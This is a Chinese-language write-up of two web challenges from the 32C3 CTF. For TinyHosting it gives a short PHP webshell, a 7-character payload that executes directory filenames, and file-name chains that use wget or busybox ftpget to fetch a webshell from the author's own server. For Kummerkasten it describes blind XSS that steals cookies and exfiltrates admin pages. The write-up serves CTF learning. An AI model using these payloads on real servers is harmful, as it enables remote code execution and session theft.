32C3 CTF 两个Web题目的Writeup

admin 2019年5月7日21:11:42评论382 views字数 1470阅读4分54秒阅读模式
摘要

作为一个销售狗,还能做得动Web题,十分开心。 这次搞了两个题目,一个是TinyHosting,一个是Kummerkasten。

0x00 简介


作为一个销售狗,还能做得动Web题,十分开心。 这次搞了两个题目,一个是TinyHosting,一个是Kummerkasten。

0x01 TingHosting


A new file hosting service for very small files. could you pwn it?
http://136.243.194.53/

可以首先在页面中发现一个隐藏的src参数,在URL里加上?src=1之后可以返回出页面的源代码。

32C3 CTF 两个Web题目的Writeup

大概的意思就是说可以往服务器上传任意文件名的文件,不过每个文件的内容只有有7个字符那么长。

于是首先google了一下,最短的php webshell应该是14字符的这个:

<?=`$_GET[1]`; 

(PS:原文的该代码被转意过了,若有错误...见谅.

显然不够长啊。

后来脑洞了很多,想到了可爱的*,于是很重要的payload是:

z.php 

内容为:

<?=`*`; 

刚好七个字符,不多不少,能把当前目录下的所有玩意按顺序执行一遍。

于是就要构造一些执行链了,一开始的想法是:

busybox ftpget two.dog w.php z.php 

其中前4个文件内容随意,w.php是上面的关键payload,执行w.php后其内容被我服务器上的webshell覆盖,而获取webshell。

结果悲剧的发现busybox ftpget支持的host只能是ip,而不支持域名。

后来想通过wget来构造,利用了302跳转可以跨协议的特点。

wget wtf.two.dog z.php 

前两个文件人意内容,z.php为重要payload,即可拿下webshell。

但仔细一看,这题会在每一个人的目录下创建一个index.html,于是执行链被破环没法工作。

于是使用bash来先干掉index.html

构造:

bash bb index.html z.php 

其中bash内容随意,bb的内容为rm ./*不超过7个字符。然后再通过上面的方法即可获得一个webshell,然后在根目录发现一个flag。

32C3 CTF 两个Web题目的Writeup

之后看了老外的做法真是简单好用,就利用bash、bb和z.php,bb的内容分别为ls /,cat /f*,简单直接0 0

0x02 Kummerkasten


Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
Please note: This challenge does not follow the flag format.

Hints:
To build the flag, concatenate both parts and omit '32C3_'

进去之后只有一个提交留言的地方,四下看了看没发现别的东西,感觉和XSS会有关。

直接丢了一个盲打cookie的payload之后收到了回显:

32C3 CTF 两个Web题目的Writeup

访问过去是403,感觉需要用XSS来读一下页面的内容。

本来的思路是XSS里带上jQuery然后用jQuery操作,结果发现页面里面有,太方便了。

直接用ajax可以轻松读取页面并回传。

看到了/admin/bugs/admin/token

根据页面中的信息来看,关键是要读两个png图片回来。

最后的payload如下:

32C3 CTF 两个Web题目的Writeup

然后把两个图里的内容,一个mysql的password和一个6位数字拼起来就是FLAG咯。

0x03 Other

更多的writeup可以参考如下链接:

https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月7日21:11:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   32C3 CTF 两个Web题目的Writeuphttps://cn-sec.com/archives/54131.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息